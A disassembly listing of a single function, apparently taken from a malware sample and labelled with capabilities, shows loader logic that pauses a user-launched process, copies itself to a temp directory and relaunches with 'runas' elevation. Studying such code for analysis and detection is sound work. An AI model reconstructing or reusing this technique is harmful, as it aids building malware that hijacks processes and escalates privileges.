Function at 0x40eeb5
Capabilities:
Create directory
Create process on windows
Delete file
Get common file path
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
sub esp, 0x3c
mov eax, 0x4247c8
call fcn.00415558
sub esp, 0x2bc
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, 0x104
push str.Wait_user_process
call fcn.004012a0
push eax
call fcn.00401330
pop ecx
pop ecx
call fcn.0040e44b
push 0xf
pop esi
push ebx
lea ecx, [ebp + 0x1c]
mov dword [ebp + 0x3c], eax
mov dword [ebp + 0x34], esi
call fcn.004021c0
push ebx
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x10], esi
call fcn.004021c0
lea eax, [ebp + 0x1c]
push eax
lea eax, [ebp - 0x28]
push eax
push dword [ebp + 0x3c]
mov byte [ebp - 4], 2
call fcn.0040ee01
add esp, 0xc
test al, al
je 0x40f249
cmp dword [ebp + 0x34], 0x10
mov ecx, dword [ebp + 0x20]
jae 0x40ef36
lea ecx, [ebp + 0x20]
cmp dword [ebp - 0x10], 0x10
mov eax, dword [ebp - 0x24]
jae 0x40ef42
lea eax, [ebp - 0x24]
push ecx
push eax
push str.New_process___s___s_
call fcn.004012a0
push eax
call fcn.00401330
add esp, 0x10
lea ecx, [ebp - 0x7c]
call fcn.0040e564
lea eax, [ebp - 0x7c]
push eax
sub esp, 0x1c
lea eax, [ebp - 0x28]
mov ecx, esp
mov dword [ebp + 0x38], esp
push eax
mov byte [ebp - 4], 3
call fcn.00401d90
call fcn.004092a0
add esp, 0x20
cmp al, bl
je 0x40ef8e
push str.Its_our_loader__skip
jmp 0x40f20f
push ebx
push dword [ebp + 0x3c]
call fcn.0040e372
pop ecx
pop ecx
push str.Clients_process_paused
call fcn.004012a0
push eax
call fcn.00401330
push edi
lea eax, [ebp - 0x1c4]
push ebx
push eax
call fcn.004157f0
push edi
lea eax, [ebp - 0x2c8]
push ebx
push eax
call fcn.004157f0
mov eax, dword [ebp + 0x20]
add esp, 0x20
cmp dword [ebp + 0x34], 0x10
jae 0x40efd4
lea eax, [ebp + 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x1c4]
push eax
push ebx
push ebx
lea eax, [ebp - 0x2c8]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x1c4]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
lea eax, [ebp - 0x1c4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x4295dc
lea eax, [ebp - 0x1c4]
push eax
call esi
cmp dword [ebp + 0x34], 0x10
mov eax, dword [ebp + 0x20]
jae 0x40f03b
lea eax, [ebp + 0x20]
push eax
lea eax, [ebp - 0x1c4]
push eax
call esi
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x1c4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40f21e
mov ecx, dword [ebp + 0x48]
push ebx
lea eax, [ebp + 0x38]
push eax
mov dword [ebp + 0x38], ebx
call fcn.00404810
mov ecx, dword [ebp + 0x48]
push eax
call fcn.00404800
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00402fb0
test al, al
je 0x40f17f
push 0x4268f8
lea ecx, [ebp]
call fcn.00401d50
lea eax, [ebp - 0x1c4]
push eax
lea ecx, [ebp]
mov byte [ebp - 4], 4
call fcn.00403f00
push 0x4268f4
lea ecx, [ebp]
call fcn.00403f00
push 0xffffffffffffffff
push ebx
lea eax, [ebp + 0x4c]
push eax
lea ecx, [ebp]
call fcn.00402520
cmp dword [ebp + 0x64], 0x10
mov eax, dword [ebp + 0x50]
jae 0x40f0e5
lea eax, [ebp + 0x50]
push eax
lea eax, [ebp - 0x1c4]
push eax
push str.Admin_run:___s___commandline___s_
call fcn.004012a0
push eax
call fcn.00401330
mov eax, dword [ebp + 4]
add esp, 0x10
cmp dword [ebp + 0x18], 0x10
jae 0x40f10c
lea eax, [ebp + 4]
push eax
push str.__s_
call fcn.004012a0
push eax
call fcn.00401330
push 0x44
pop esi
push esi
lea eax, [ebp - 0xc0]
push ebx
push eax
call fcn.004157f0
push 0x10
lea eax, [ebp - 0x38]
push ebx
push eax
mov dword [ebp - 0xc0], esi
call fcn.004157f0
mov eax, dword [ebp + 4]
add esp, 0x24
cmp dword [ebp + 0x18], 0x10
jae 0x40f14f
lea eax, [ebp + 4]
lea ecx, [ebp - 0x38]
push ecx
lea ecx, [ebp - 0xc0]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40f279
push ebx
push 1
lea ecx, [ebp]
mov byte [ebp - 4], 3
call fcn.00401f00
cmp dword [ebp + 0x64], 0x10
mov eax, dword [ebp + 0x50]
jae 0x40f18b
lea eax, [ebp + 0x50]
push eax
lea eax, [ebp - 0x1c4]
push eax
push str.Copy_ourself_and_start:__s__commandline__s
call fcn.004012a0
push eax
call fcn.00401330
mov eax, dword [ebp + 0x50]
add esp, 0x10
cmp dword [ebp + 0x64], 0x10
jae 0x40f1b2
lea eax, [ebp + 0x50]
xor esi, esi
inc esi
push esi
push ebx
push eax
lea eax, [ebp - 0x1c4]
push eax
push str.runas
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x40f2b4
push str.Our_process_dont_started_wait_again
call fcn.004012a0
push eax
call fcn.00401330
pop ecx
pop ecx
push dword [ebp + 0x3c]
push ebx
push 0x401
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
je 0x40f23b
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.Clients_process_terminated
call fcn.004012a0
push eax
call fcn.00401330
pop ecx
pop ecx
jmp 0x40f23b
push str.Clients_process_resumed
call fcn.004012a0
push eax
call fcn.00401330
push 1
push dword [ebp + 0x3c]
call fcn.0040e372
add esp, 0x10
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 2
call fcn.0040e5a1
jmp 0x40f25b
push str.Cant_get_process_name__wait_another_process
call fcn.004012a0
push eax
call fcn.00401330
pop ecx
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x28]
call fcn.00401f00
push ebx
push 1
lea ecx, [ebp + 0x1c]
mov byte [ebp - 4], bl
call fcn.00401f00
jmp 0x40eed6
push str.Startup_OK1
call fcn.004012a0
push eax
call fcn.00401330
xor esi, esi
inc esi
push esi
push dword [ebp + 0x3c]
call fcn.0040e372
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 0x10
push dword [ebp - 0x38]
call edi
push dword [ebp - 0x34]
call edi
push ebx
push esi
lea ecx, [ebp]
call fcn.00401f00
jmp 0x40f2d0
push str.Startup_OK2
call fcn.004012a0
push eax
call fcn.00401330
push esi
push dword [ebp + 0x3c]
call fcn.0040e372
add esp, 0x10
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 2
call fcn.0040e5a1
push ebx
push esi
lea ecx, [ebp - 0x28]
call fcn.00401f00
push ebx
push esi
lea ecx, [ebp + 0x1c]
call fcn.00401f00
push ebx
push 1
lea ecx, [ebp + 0x4c]
call fcn.00401f00
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov al, 1
mov dword fs:[0], ecx
pop ebx
add ebp, 0x40
leave
ret 0x20